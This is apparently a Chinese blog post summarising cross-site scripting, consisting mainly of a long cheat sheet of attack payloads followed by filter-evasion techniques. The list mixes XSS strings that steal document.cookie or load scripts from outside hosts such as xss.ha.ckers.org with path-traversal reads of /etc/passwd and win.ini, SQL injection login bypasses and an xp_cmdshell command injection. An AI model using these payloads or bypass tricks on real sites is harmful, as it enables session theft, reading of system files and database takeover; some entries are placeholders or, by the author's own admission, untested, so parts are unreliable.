• XSS知识的总结


    一、XSS简介

    跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    二、XSS基本语句

    <script>alert(document.cookie)</script>
    ='><script>alert(document.cookie)</script>
    <script>alert(document.cookie)</script>
    <script>alert(vulnerable)</script>
    %3Cscript%3Ealert('XSS')%3C/script%3E
    <script>alert('XSS')</script>
    <img src="javascript:alert('XSS')">
    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
    %22%3cscript%3ealert(%22xss%22)%3c/script%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
    %3f.jsp
    %3f.jsp
    <script>alert('Vulnerable');</script>
    <script>alert('Vulnerable')</script>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<script>alert('Vulnerable')</script>
    a/
    a?<script>alert('Vulnerable')</script>
    "><script>alert('Vulnerable')</script>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    %3Cscript%3Ealert(document. domain);%3C/script%3E&
    %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=JaVaScRiPt:alert('XSS')>
    <IMG SRC=JaVaScRiPt:alert("XSS")>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="jav    ascript:alert('XSS');">
    <IMG SRC="jav
    ascript:alert('XSS');">
    <IMG SRC="jav
    ascript:alert('XSS');">
    "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
    <IMG SRC=" javascript:alert('XSS');">
    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert('XSS')>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG LOWSRC="javascript:alert('XSS')">
    <BGSOUND SRC="javascript:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescript:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    <IFRAME SRC=javascript:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE=" expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <BASE HREF="javascript:alert('XSS');//">
    getURL("javascript:alert('XSS')")
    a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascript:alert('XSS');">
    "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    <SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
    <IMG SRC="javascript:alert('XSS')"
    <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
    admin'--
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a

    三、XSS绕过过滤
    1、转义字符

    斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。

    例如:<script>alert('test');</script>的十六进制转移字符串为

    /x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E

    因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。

    这个方法对于八进制同样奏效。

    2、字符转义(先写上,暂时还没成功)

    \u003c和\u003e来代替<和>

    例如:

    [0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e

    3、用控制字符的ASCII码填充

    比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。

    4、插入混淆属性

    当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:

    <img src="abc>" onmouseover="[code]">            //插入混淆的src属 性
    <IMG """><SCRIPT>[code]</SCRIPT>">            //插入混 淆的双引号及 “>”符号
    <SCRIPT a=">" SRC="xss.js"></SCRIPT>            //插入混淆的a 属性

    5、用注释符分割

    由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

    <img style="xss:expr/*XSS*/ession([code])">            //css的注释符号 为/**/,其中的内容会被忽略
    <style>@im\port'\ja\vasc\ript:alert("XSS")';</style>            //css中忽略的符号还有“\”
    exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'>            //注释混淆后的样子
    <style><!--</style><script>[code]//-- ></script>            //html的注释符为<!--注释-->

    、突破XSS字符数量限制执行任意JS代码

    http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

    五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    http://www.myhack58.com/Article/html/3/7/2009/23165.htm

    先这么多吧,以后遇到了再更新。

    参考:

    【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

    【2】http://www.hackbase.com/tech/2009-08-24/55258.html

    【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html

    【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD

    【5】http://www.hackbase.com/tech/2012-10-19/66888.html

    【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html

    【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

  • 相关阅读:
    Java Output流写入包装问题
    SpringBoot项目单元测试不经过过滤器问题
    SpringSecurity集成启动报 In the composition of all global method configuration, no annotation support was actually activated 异常
    JWT jti和kid属性的说明
    Maven 排除依赖
    第五章 基因概念的发现
    第三章 孟德尔遗传的拓展
    第二章 孟德尔遗传
    第一章 引言
    GWAS全基因组关联分析
  • 原文地址:https://www.cnblogs.com/dgy5554/p/3973422.html
Copyright © 2020-2023  润新知